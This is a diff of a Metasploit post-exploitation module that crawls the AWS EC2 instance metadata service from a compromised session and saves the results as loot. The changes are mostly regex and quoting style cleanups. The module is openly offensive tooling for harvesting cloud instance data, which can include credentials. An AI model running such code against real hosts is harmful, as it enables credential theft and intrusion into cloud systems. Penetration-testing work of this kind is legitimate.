6
6
require 'msf/core'
7
7
8
8
class MetasploitModule < Msf ::Post
9
-
10
9
def initialize ( info = { } )
11
10
super (
12
11
update_info (
13
12
info ,
14
13
'Name' => 'Enumerate AWS EC2 instance metadata' ,
15
- 'Description' => %q{
14
+ 'Description' => %q(
16
15
This module will attempt to connect to the AWS EC2 instance metadata service
17
16
and crawl and collect all metadata known about the session'd host.
18
- } ,
17
+ ) ,
19
18
'License' => MSF_LICENSE ,
20
19
'Author' => [
21
20
'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module
22
21
] ,
23
22
# TODO: is there a way to do this on Windows?
24
23
'Platform' => %w( linux osx unix ) ,
25
24
'SessionTypes' => %w( shell meterpreter ) ,
26
- 'References' =>
25
+ 'References' =>
27
26
[
28
27
[ 'URL' , 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]
29
28
]
@@ -46,7 +45,7 @@ def target_uri
46
45
end
47
46
48
47
def check_curl
49
- unless cmd_exec ( "curl --version" ) =~ / ^curl \d /
48
+ unless cmd_exec ( "curl --version" ) =~ %r{ ^curl \d }
50
49
fail_with ( Failure ::BadConfig , 'curl is not installed' )
51
50
end
52
51
end
@@ -63,11 +62,10 @@ def get_aws_metadata(base_uri, base_resp)
63
62
r = { }
64
63
base_resp . split ( /\r \n / ) . each do |l |
65
64
new_uri = base_uri . merge ( "./#{ l } " )
66
- next unless new_uri . to_s =~ /public-key/
67
- if l =~ /\/ $/
65
+ if l =~ %r{/$}
68
66
# handle a directory
69
- r [ l . gsub ( / \/ $/ , '' ) ] = get_aws_metadata ( new_uri , simple_get ( new_uri ) )
70
- elsif new_uri . to_s =~ / \/ public-keys\/ / && /^(?<key_id>\d +)=/ =~ l
67
+ r [ l . gsub ( %r{/$} , '' ) ] = get_aws_metadata ( new_uri , simple_get ( new_uri ) )
68
+ elsif new_uri . to_s =~ %r{/ public-keys/} && /^(?<key_id>\d +)=/ =~ l
71
69
# special case handling of the public-keys endpoint
72
70
key_uri = new_uri . merge ( "./#{ key_id } /" )
73
71
key_resp = simple_get ( key_uri )
@@ -88,7 +86,7 @@ def run
88
86
check_curl
89
87
resp = check_aws_metadata
90
88
metadata = get_aws_metadata ( target_uri , resp )
91
- metadata_json = JSON . pretty_generate ( metadata )
89
+ metadata_json = JSON . pretty_generate ( metadata )
92
90
file = store_loot ( "aws.ec2.instance.metadata" , "text/json" , session , metadata_json , "aws_ec2_instance_metadata.json" , "AWS EC2 Instance Metadata" )
93
91
if datastore [ 'VERBOSE' ]
94
92
vprint_good ( "AWS EC2 instance metadata" )
0 commit comments